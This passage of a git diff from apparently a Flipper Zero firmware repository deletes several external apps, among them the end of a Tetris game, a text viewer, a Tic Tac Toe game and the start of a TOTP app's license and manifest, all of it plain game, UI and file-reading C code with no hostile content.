tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, bool wasDownMove) { - if(tetris_state->gameState == GameStateGameOver) return; - - tetris_game_remove_curr_piece(tetris_state); - - if(wasDownMove) { - if(tetris_game_piece_at_bottom(tetris_state, newPiece)) { - furi_timer_stop(tetris_state->timer); - - tetris_game_render_curr_piece(tetris_state); - uint8_t numLines = 0; - uint8_t lines[] = {0, 0, 0, 0}; - uint16_t nextFallSpeed; - - tetris_game_check_for_lines(tetris_state, lines, &numLines); - if(numLines > 0) { - for(int i = 0; i < numLines; i++) { - // zero out row - for(int j = 0; j < FIELD_WIDTH; j++) { - tetris_state->playField[lines[i]][j] = false; - } - // move all above rows down - for(int k = lines[i]; k >= 0; k--) { - for(int m = 0; m < FIELD_WIDTH; m++) { - tetris_state->playField[k][m] = - (k == 0) ? false : tetris_state->playField[k - 1][m]; - } - } - } - - uint16_t oldNumLines = tetris_state->numLines; - tetris_state->numLines += numLines; - if((oldNumLines / 10) % 10 != (tetris_state->numLines / 10) % 10) { - nextFallSpeed = - tetris_state->fallSpeed - (100 / (tetris_state->numLines / 10)); - if(nextFallSpeed >= MIN_FALL_SPEED) { - tetris_state->fallSpeed = nextFallSpeed; - } - } - } - - // Check for game over - Piece* spawnedPiece = &shapes[rand() % 7]; - if(!tetris_game_is_valid_pos(tetris_state, spawnedPiece->p)) { - tetris_state->gameState = GameStateGameOver; - } else { - memcpy(&tetris_state->currPiece, spawnedPiece, sizeof(tetris_state->currPiece)); - furi_timer_start(tetris_state->timer, tetris_state->fallSpeed); - } - } - } - - if(tetris_game_is_valid_pos(tetris_state, newPiece->p)) { - memcpy(&tetris_state->currPiece, newPiece, sizeof(tetris_state->currPiece)); - } - - tetris_game_render_curr_piece(tetris_state); -} - -int32_t tetris_game_app() { - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(TetrisEvent)); - - TetrisState* tetris_state = malloc(sizeof(TetrisState)); - - tetris_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!tetris_state->mutex) { - FURI_LOG_E("TetrisGame", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(tetris_state); - return 255; - } - - // Not doing this eventually causes issues with TimerSvc due to not sleeping/yielding enough in this task - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - - ViewPort* view_port = view_port_alloc(); - view_port_set_orientation(view_port, ViewPortOrientationVertical); - view_port_draw_callback_set(view_port, tetris_game_render_callback, tetris_state); - view_port_input_callback_set(view_port, tetris_game_input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - tetris_state->timer = - furi_timer_alloc(tetris_game_update_timer_callback, FuriTimerTypePeriodic, event_queue); - tetris_game_init_state(tetris_state); - - TetrisEvent event; - - Piece* newPiece = malloc(sizeof(Piece)); - uint8_t downRepeatCounter = 0; - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - for(bool processing = true; processing;) { - // This 10U implicitly sets the game loop speed. downRepeatCounter relies on this value - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 10U); - - furi_mutex_acquire(tetris_state->mutex, FuriWaitForever); - - memcpy(newPiece, &tetris_state->currPiece, sizeof(tetris_state->currPiece)); - bool wasDownMove = false; - - if(!furi_hal_gpio_read(&gpio_button_right)) { - if(downRepeatCounter > 3) { - for(int i = 0; i < 4; i++) { - newPiece->p[i].y += 1; - } - downRepeatCounter = 0; - wasDownMove = true; - } else { - downRepeatCounter++; - } - } - - if(event_status == FuriStatusOk) { - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress || event.input.type == InputTypeLong || - event.input.type == InputTypeRepeat) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - for(int i = 0; i < 4; i++) { - newPiece->p[i].x += 1; - } - break; - case InputKeyLeft: - for(int i = 0; i < 4; i++) { - newPiece->p[i].x -= 1; - } - break; - case InputKeyOk: - if(tetris_state->gameState == GameStatePlaying) { - tetris_game_remove_curr_piece(tetris_state); - tetris_game_try_rotation(tetris_state, newPiece); - tetris_game_render_curr_piece(tetris_state); - } else { - tetris_game_init_state(tetris_state); - } - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - // TODO: This is inverted. it returns true when the button is not pressed. - // see macro in input.c and do that - if(furi_hal_gpio_read(&gpio_button_right)) { - for(int i = 0; i < 4; i++) { - newPiece->p[i].y += 1; - } - wasDownMove = true; - } - } - } - - tetris_game_process_step(tetris_state, newPiece, wasDownMove); - - view_port_update(view_port); - furi_mutex_release(tetris_state->mutex); - } - - furi_timer_free(tetris_state->timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(tetris_state->mutex); - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - free(newPiece); - free(tetris_state); - - return 0; -} \ No newline at end of file diff --git a/applications/external/text_viewer/LICENSE b/applications/external/text_viewer/LICENSE deleted file mode 100644 index 69004dc62..000000000 --- a/applications/external/text_viewer/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 Roman Shchekin - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/text_viewer/README.md b/applications/external/text_viewer/README.md deleted file mode 100644 index cc41931be..000000000 --- a/applications/external/text_viewer/README.md +++ /dev/null @@ -1,9 +0,0 @@ -# flipper-zero-text-viewer - -Text Viewer application for Flipper Zero! - -A fork with a few changes from [QTRoS' hex viewer](https://github.com/QtRoS/flipper-zero-hex-viewer) to just display text without any hex byte representation - -![Text Viewer app!](https://github.com/kyhwana/flipper-zero-hex-viewer/blob/master/textviewerflipper.PNG?raw=true) - -[Link to FAP](https://github.com/kyhwana/latest_flipper_zero_apps/raw/main/text_viewer.fap) diff --git a/applications/external/text_viewer/application.fam b/applications/external/text_viewer/application.fam deleted file mode 100644 index 6222dc643..000000000 --- a/applications/external/text_viewer/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="text_viewer", - name="Text Viewer", - apptype=FlipperAppType.EXTERNAL, - entry_point="text_viewer_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=2 * 1024, - order=20, - fap_icon="icons/text_10px.png", - fap_category="Tools", - fap_icon_assets="icons", - fap_author="@kowalski7cc & @kyhwana", - fap_version="1.0", - fap_description="Text viewer application", -) diff --git a/applications/external/text_viewer/icons/text_10px.png b/applications/external/text_viewer/icons/text_10px.png deleted file mode 100644 index 8e8a6183d..000000000 Binary files a/applications/external/text_viewer/icons/text_10px.png and /dev/null differ diff --git a/applications/external/text_viewer/text_viewer.c b/applications/external/text_viewer/text_viewer.c deleted file mode 100644 index 498a8d8f1..000000000 --- a/applications/external/text_viewer/text_viewer.c +++ /dev/null @@ -1,287 +0,0 @@ -#include -#include - -#include -#include -#include -#include - -#include -#include -#include -#include - -#define TAG "TextViewer" - -#define TEXT_VIEWER_APP_PATH_FOLDER ANY_PATH("") -#define TEXT_VIEWER_APP_EXTENSION "*" - -#define TEXT_VIEWER_BYTES_PER_LINE 20u -#define TEXT_VIEWER_LINES_ON_SCREEN 5u -#define TEXT_VIEWER_BUF_SIZE (TEXT_VIEWER_LINES_ON_SCREEN * TEXT_VIEWER_BYTES_PER_LINE) - -typedef struct { - uint8_t file_bytes[TEXT_VIEWER_LINES_ON_SCREEN][TEXT_VIEWER_BYTES_PER_LINE]; - uint32_t file_offset; - uint32_t file_read_bytes; - uint32_t file_size; - Stream* stream; - bool mode; // Print address or content -} TextViewerModel; - -typedef struct { - TextViewerModel* model; - FuriMutex** mutex; - - FuriMessageQueue* input_queue; - - ViewPort* view_port; - Gui* gui; - Storage* storage; -} TextViewer; - -static void render_callback(Canvas* canvas, void* ctx) { - TextViewer* text_viewer = ctx; - furi_check(furi_mutex_acquire(text_viewer->mutex, FuriWaitForever) == FuriStatusOk); - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - //elements_button_left(canvas, text_viewer->model->mode ? "Addr" : "Text"); - text_viewer->model->mode = 1; //text mode - //elements_button_right(canvas, "Info"); - - int ROW_HEIGHT = 12; - int TOP_OFFSET = 10; - int LEFT_OFFSET = 3; - - uint32_t line_count = text_viewer->model->file_size / TEXT_VIEWER_BYTES_PER_LINE; - if(text_viewer->model->file_size % TEXT_VIEWER_BYTES_PER_LINE != 0) line_count += 1; - uint32_t first_line_on_screen = text_viewer->model->file_offset / TEXT_VIEWER_BYTES_PER_LINE; - if(line_count > TEXT_VIEWER_LINES_ON_SCREEN) { - uint8_t width = canvas_width(canvas); - elements_scrollbar_pos( - canvas, - width, - 0, - ROW_HEIGHT * TEXT_VIEWER_LINES_ON_SCREEN, - first_line_on_screen, // TODO - line_count - (TEXT_VIEWER_LINES_ON_SCREEN - 1)); - } - - char temp_buf[32]; - uint32_t row_iters = text_viewer->model->file_read_bytes / TEXT_VIEWER_BYTES_PER_LINE; - if(text_viewer->model->file_read_bytes % TEXT_VIEWER_BYTES_PER_LINE != 0) row_iters += 1; - - for(uint32_t i = 0; i < row_iters; ++i) { - uint32_t bytes_left_per_row = - text_viewer->model->file_read_bytes - i * TEXT_VIEWER_BYTES_PER_LINE; - bytes_left_per_row = MIN(bytes_left_per_row, TEXT_VIEWER_BYTES_PER_LINE); - - if(text_viewer->model->mode) { - memcpy(temp_buf, text_viewer->model->file_bytes[i], bytes_left_per_row); - temp_buf[bytes_left_per_row] = '\0'; - for(uint32_t j = 0; j < bytes_left_per_row; ++j) - if(!isprint((int)temp_buf[j])) temp_buf[j] = ' '; - - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str(canvas, LEFT_OFFSET, TOP_OFFSET + i * ROW_HEIGHT, temp_buf); - } else { - uint32_t addr = text_viewer->model->file_offset + i * TEXT_VIEWER_BYTES_PER_LINE; - snprintf(temp_buf, 32, "%04lX", addr); - - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str(canvas, LEFT_OFFSET, TOP_OFFSET + i * ROW_HEIGHT, temp_buf); - } - } - - furi_mutex_release(text_viewer->mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - TextViewer* text_viewer = ctx; - if(input_event->type == InputTypeShort || input_event->type == InputTypeRepeat) { - furi_message_queue_put(text_viewer->input_queue, input_event, 0); - } -} - -static TextViewer* text_viewer_alloc() { - TextViewer* instance = malloc(sizeof(TextViewer)); - - instance->model = malloc(sizeof(TextViewerModel)); - memset(instance->model, 0x0, sizeof(TextViewerModel)); - - instance->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - instance->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - instance->view_port = view_port_alloc(); - view_port_draw_callback_set(instance->view_port, render_callback, instance); - view_port_input_callback_set(instance->view_port, input_callback, instance); - - instance->gui = furi_record_open(RECORD_GUI); - gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); - - instance->storage = furi_record_open(RECORD_STORAGE); - - return instance; -} - -static void text_viewer_free(TextViewer* instance) { - furi_record_close(RECORD_STORAGE); - - gui_remove_view_port(instance->gui, instance->view_port); - furi_record_close(RECORD_GUI); - view_port_free(instance->view_port); - - furi_message_queue_free(instance->input_queue); - - furi_mutex_free(instance->mutex); - - if(instance->model->stream) buffered_file_stream_close(instance->model->stream); - - free(instance->model); - free(instance); -} - -static bool text_viewer_open_file(TextViewer* text_viewer, const char* file_path) { - furi_assert(text_viewer); - furi_assert(file_path); - - text_viewer->model->stream = buffered_file_stream_alloc(text_viewer->storage); - bool isOk = true; - - do { - if(!buffered_file_stream_open( - text_viewer->model->stream, file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Unable to open stream: %s", file_path); - isOk = false; - break; - }; - - text_viewer->model->file_size = stream_size(text_viewer->model->stream); - } while(false); - - return isOk; -} - -static bool text_viewer_read_file(TextViewer* text_viewer) { - furi_assert(text_viewer); - furi_assert(text_viewer->model->stream); - furi_assert(text_viewer->model->file_offset % TEXT_VIEWER_BYTES_PER_LINE == 0); - - memset(text_viewer->model->file_bytes, 0x0, TEXT_VIEWER_BUF_SIZE); - bool isOk = true; - - do { - uint32_t offset = text_viewer->model->file_offset; - if(!stream_seek(text_viewer->model->stream, offset, true)) { - FURI_LOG_E(TAG, "Unable to seek stream"); - isOk = false; - break; - } - - text_viewer->model->file_read_bytes = stream_read( - text_viewer->model->stream, - (uint8_t*)text_viewer->model->file_bytes, - TEXT_VIEWER_BUF_SIZE); - } while(false); - - return isOk; -} - -int32_t text_viewer_app(void* p) { - TextViewer* text_viewer = text_viewer_alloc(); - - FuriString* file_path; - file_path = furi_string_alloc(); - - do { - if(p && strlen(p)) { - furi_string_set(file_path, (const char*)p); - } else { - furi_string_set(file_path, TEXT_VIEWER_APP_PATH_FOLDER); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, TEXT_VIEWER_APP_EXTENSION, &I_text_10px); - browser_options.hide_ext = false; - - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); - - furi_record_close(RECORD_DIALOGS); - if(!res) { - FURI_LOG_I(TAG, "No file selected"); - break; - } - } - - FURI_LOG_I(TAG, "File selected: %s", furi_string_get_cstr(file_path)); - - if(!text_viewer_open_file(text_viewer, furi_string_get_cstr(file_path))) break; - text_viewer_read_file(text_viewer); - - InputEvent input; - while(1) { - if(furi_message_queue_get(text_viewer->input_queue, &input, 100) == FuriStatusOk) { - if(input.key == InputKeyBack) { - break; - } else if(input.key == InputKeyUp) { - furi_check( - furi_mutex_acquire(text_viewer->mutex, FuriWaitForever) == FuriStatusOk); - if(text_viewer->model->file_offset > 0) { - text_viewer->model->file_offset -= TEXT_VIEWER_BYTES_PER_LINE; - if(!text_viewer_read_file(text_viewer)) break; - } - furi_mutex_release(text_viewer->mutex); - } else if(input.key == InputKeyDown) { - furi_check( - furi_mutex_acquire(text_viewer->mutex, FuriWaitForever) == FuriStatusOk); - uint32_t last_byte_on_screen = - text_viewer->model->file_offset + text_viewer->model->file_read_bytes; - - if(text_viewer->model->file_size > last_byte_on_screen) { - text_viewer->model->file_offset += TEXT_VIEWER_BYTES_PER_LINE; - if(!text_viewer_read_file(text_viewer)) break; - } - furi_mutex_release(text_viewer->mutex); - } else if(input.key == InputKeyLeft) { - furi_check( - furi_mutex_acquire(text_viewer->mutex, FuriWaitForever) == FuriStatusOk); - text_viewer->model->mode = !text_viewer->model->mode; - furi_mutex_release(text_viewer->mutex); - } else if(input.key == InputKeyRight) { - FuriString* buffer; - buffer = furi_string_alloc(); - furi_string_printf( - buffer, - "File path: %s\nFile size: %lu (0x%lX)", - furi_string_get_cstr(file_path), - text_viewer->model->file_size, - text_viewer->model->file_size); - - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header( - message, "Text Viewer v1.1", 16, 2, AlignLeft, AlignTop); - dialog_message_set_icon(message, &I_text_10px, 3, 2); - dialog_message_set_text( - message, furi_string_get_cstr(buffer), 3, 16, AlignLeft, AlignTop); - dialog_message_set_buttons(message, NULL, NULL, "Back"); - dialog_message_show(dialogs, message); - - furi_string_free(buffer); - dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); - } - } - view_port_update(text_viewer->view_port); - } - } while(false); - - furi_string_free(file_path); - text_viewer_free(text_viewer); - - return 0; -} \ No newline at end of file diff --git a/applications/external/text_viewer/textviewerflipper.PNG b/applications/external/text_viewer/textviewerflipper.PNG deleted file mode 100644 index d357b7455..000000000 Binary files a/applications/external/text_viewer/textviewerflipper.PNG and /dev/null differ diff --git a/applications/external/tictactoe_game/application.fam b/applications/external/tictactoe_game/application.fam deleted file mode 100644 index cd3ae6f27..000000000 --- a/applications/external/tictactoe_game/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="tictactoe", - name="Tic Tac Toe", - apptype=FlipperAppType.EXTERNAL, - entry_point="tictactoe_game_app", - requires=["gui"], - stack_size=1 * 1024, - order=40, - fap_icon="tictactoe_10px.png", - fap_category="Games", - fap_author="@xMasterX & @gotnull", - fap_version="1.0", - fap_description="Tic Tac Toe game, for 2 players, play on one device", -) diff --git a/applications/external/tictactoe_game/tictactoe_10px.png b/applications/external/tictactoe_game/tictactoe_10px.png deleted file mode 100644 index 41ca1d973..000000000 Binary files a/applications/external/tictactoe_game/tictactoe_10px.png and /dev/null differ diff --git a/applications/external/tictactoe_game/tictactoe_game.c b/applications/external/tictactoe_game/tictactoe_game.c deleted file mode 100644 index 6ad076a4a..000000000 --- a/applications/external/tictactoe_game/tictactoe_game.c +++ /dev/null @@ -1,387 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#define TAG "TicTacToe" - -typedef enum { EventTypeTick, EventTypeKey } EventType; - -typedef struct { - FuriMutex* mutex; - FuriTimer* timer; - uint8_t selBoxX; - uint8_t selBoxY; - - uint8_t selX; - uint8_t selY; - - uint16_t scoreX; - uint16_t scoreO; - - char player; - - char field[3][3]; - bool fieldx[3][3]; - - uint8_t coords[3]; - - bool button_state; - -} TicTacToeState; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -void drawCross(Canvas* const canvas, uint8_t x, uint8_t y) { - canvas_draw_line(canvas, x, y, x + 9, y + 9); // top left - bottom right slash - canvas_draw_line(canvas, x + 9, y, x, y + 9); // down left - top right slash -} - -void drawCircle(Canvas* const canvas, uint8_t x, uint8_t y) { - canvas_draw_circle(canvas, x + 4, y + 5, 5); -} - -void player_switch(TicTacToeState* ts) { - if(ts->player == 'O') { - ts->player = 'X'; - } else if(ts->player == 'X') { - ts->player = 'O'; - } -} - -void tictactoe_draw(Canvas* canvas, TicTacToeState* ts) { - // Draws the game field - canvas_draw_frame(canvas, 0, 0, 64, 64); // frame - canvas_draw_line(canvas, 0, 21, 63, 21); // horizontal line - canvas_draw_line(canvas, 0, 42, 63, 42); // horizontal line - canvas_draw_line(canvas, 21, 0, 21, 63); // vertical line - canvas_draw_line(canvas, 42, 0, 42, 63); // vertical line - - // Draws the game field elements (X or O) - for(uint8_t i = 0; i <= 2; i++) { - for(uint8_t j = 0; j <= 2; j++) { - if(ts->field[i][j] == 'O') { - drawCircle(canvas, ts->coords[i], ts->coords[j]); - } else if(ts->field[i][j] == 'X') { - drawCross(canvas, ts->coords[i], ts->coords[j]); - } - } - } - - // Draws the selection box - if(ts->selX == 1) { - ts->selBoxX = 1; - } else if(ts->selX == 2) { - ts->selBoxX = 22; - } else if(ts->selX == 3) { - ts->selBoxX = 43; - } - - if(ts->selY == 1) { - ts->selBoxY = 1; - } else if(ts->selY == 2) { - ts->selBoxY = 22; - } else if(ts->selY == 3) { - ts->selBoxY = 43; - } - - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, ts->selBoxX, ts->selBoxY, 20, 20); - canvas_draw_frame(canvas, ts->selBoxX + 1, ts->selBoxY + 1, 18, 18); - - // Draws the sidebar - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 81, 10, "SCORE"); - canvas_draw_str(canvas, 75, 24, "X:"); - - char scoreXBuffer[10]; - snprintf(scoreXBuffer, sizeof(scoreXBuffer), "%d", ts->scoreX); - canvas_draw_str(canvas, 88, 24, scoreXBuffer); - canvas_draw_str(canvas, 75, 35, "O:"); - - char scoreOBuffer[10]; - snprintf(scoreOBuffer, sizeof(scoreOBuffer), "%d", ts->scoreO); - canvas_draw_str(canvas, 88, 35, scoreOBuffer); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 75, 46, "Player:"); - - if(ts->player == 'X') { - drawCross(canvas, 93, 50); - } else if(ts->player == 'O') { - drawCircle(canvas, 93, 50); - } -} - -void clear_game_field(TicTacToeState* ts) { - // Clears the game field arrays - for(uint8_t i = 0; i <= 2; i++) { - for(uint8_t j = 0; j <= 2; j++) { - ts->field[i][j] = ' '; - ts->fieldx[i][j] = false; - } - } - - ts->selX = 2; // Centers the selection box on X axis - ts->selY = 2; // Centers the selection box on Y axis -} - -void reset_game_data(TicTacToeState* ts) { - ts->scoreO = 0; - ts->scoreX = 0; - ts->player = 'X'; -} - -void draw_win(Canvas* canvas, char player, TicTacToeState* ts) { - // Handles the score table - if(player == 'X') { - ts->scoreX++; - } else if(player == 'O') { - ts->scoreO++; - } - - // Switches the players - player_switch(ts); - - // Draws the board with players switched - tictactoe_draw(canvas, ts); - - // Clear the game field - clear_game_field(ts); - - // Draw the new board - tictactoe_draw(canvas, ts); -} - -static void tictactoe_state_init(TicTacToeState* tictactoe_state) { - // Set the initial game state - tictactoe_state->selX = 2; - tictactoe_state->selY = 2; - tictactoe_state->player = 'X'; - tictactoe_state->coords[0] = 6; - tictactoe_state->coords[1] = 27; - tictactoe_state->coords[2] = 48; - tictactoe_state->button_state = false; - - clear_game_field(tictactoe_state); - - reset_game_data(tictactoe_state); -} - -static void tictactoe_draw_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - TicTacToeState* ticst = ctx; - furi_mutex_acquire(ticst->mutex, FuriWaitForever); - - if(ticst->selX > 3) { - ticst->selX = 3; - } else if(ticst->selX < 1) { - ticst->selX = 1; - } - - if(ticst->selY > 3) { - ticst->selY = 3; - } else if(ticst->selY < 1) { - ticst->selY = 1; - } - - // Assigns the game field elements their value (X or O) when the OK button is pressed - if(ticst->button_state) { - ticst->button_state = false; - for(uint8_t i = 0; i <= 2; i++) { - for(uint8_t j = 0; j <= 2; j++) { - if((ticst->selX == i + 1) && (ticst->selY == j + 1) && - (ticst->fieldx[i][j] == false)) { - if(ticst->player == 'X') { - ticst->field[i][j] = 'X'; - ticst->fieldx[i][j] = true; - player_switch(ticst); - } else if(ticst->player == 'O') { - ticst->field[i][j] = 'O'; - ticst->fieldx[i][j] = true; - player_switch(ticst); - } - } - } - } - } - - // Checks the game field for winning combinations - if((ticst->field[0][0] == 'X') && (ticst->field[1][0] == 'X') && (ticst->field[2][0] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[0][1] == 'X') && (ticst->field[1][1] == 'X') && - (ticst->field[2][1] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[0][2] == 'X') && (ticst->field[1][2] == 'X') && - (ticst->field[2][2] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[0][0] == 'X') && (ticst->field[0][1] == 'X') && - (ticst->field[0][2] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[1][0] == 'X') && (ticst->field[1][1] == 'X') && - (ticst->field[1][2] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[2][0] == 'X') && (ticst->field[2][1] == 'X') && - (ticst->field[2][2] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[0][0] == 'X') && (ticst->field[1][1] == 'X') && - (ticst->field[2][2] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[2][0] == 'X') && (ticst->field[1][1] == 'X') && - (ticst->field[0][2] == 'X')) { - draw_win(canvas, 'X', ticst); - } else if( - (ticst->field[0][0] == 'O') && (ticst->field[1][0] == 'O') && - (ticst->field[2][0] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->field[0][1] == 'O') && (ticst->field[1][1] == 'O') && - (ticst->field[2][1] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->field[0][2] == 'O') && (ticst->field[1][2] == 'O') && - (ticst->field[2][2] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->field[0][0] == 'O') && (ticst->field[0][1] == 'O') && - (ticst->field[0][2] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->field[1][0] == 'O') && (ticst->field[1][1] == 'O') && - (ticst->field[1][2] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->field[2][0] == 'O') && (ticst->field[2][1] == 'O') && - (ticst->field[2][2] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->field[0][0] == 'O') && (ticst->field[1][1] == 'O') && - (ticst->field[2][2] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->field[2][0] == 'O') && (ticst->field[1][1] == 'O') && - (ticst->field[0][2] == 'O')) { - draw_win(canvas, 'O', ticst); - } else if( - (ticst->fieldx[0][0] == true) && (ticst->fieldx[0][1] == true) && - (ticst->fieldx[0][2] == true) && (ticst->fieldx[1][0] == true) && - (ticst->fieldx[1][1] == true) && (ticst->fieldx[1][2] == true) && - (ticst->fieldx[2][0] == true) && (ticst->fieldx[2][1] == true) && - (ticst->fieldx[2][2] == true)) { - draw_win(canvas, 'T', ticst); - } - - tictactoe_draw(canvas, ticst); - - furi_mutex_release(ticst->mutex); -} - -static void tictactoe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void tictactoe_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -int32_t tictactoe_game_app(void* p) { - UNUSED(p); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); - - TicTacToeState* tictactoe_state = malloc(sizeof(TicTacToeState)); - - tictactoe_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - if(!tictactoe_state->mutex) { - FURI_LOG_E(TAG, "Cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(tictactoe_state); - return 255; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, tictactoe_draw_callback, tictactoe_state); - view_port_input_callback_set(view_port, tictactoe_input_callback, event_queue); - - tictactoe_state->timer = - furi_timer_alloc(tictactoe_update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(tictactoe_state->timer, furi_kernel_get_tick_frequency() / 22); - - tictactoe_state_init(tictactoe_state); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - GameEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(tictactoe_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // Key events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyBack: - processing = false; - break; - case InputKeyRight: - tictactoe_state->selX++; - break; - case InputKeyLeft: - tictactoe_state->selX--; - break; - case InputKeyUp: - tictactoe_state->selY--; - break; - case InputKeyDown: - tictactoe_state->selY++; - break; - case InputKeyOk: - tictactoe_state->button_state = true; - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(tictactoe_state->mutex); - } - - furi_timer_free(tictactoe_state->timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(tictactoe_state->mutex); - free(tictactoe_state); - - return 0; -} \ No newline at end of file diff --git a/applications/external/totp/LICENSE b/applications/external/totp/LICENSE deleted file mode 100644 index 65504e7b1..000000000 --- a/applications/external/totp/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 Alexander Kopachov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/totp/application.fam b/applications/external/totp/application.fam deleted file mode 100644 index 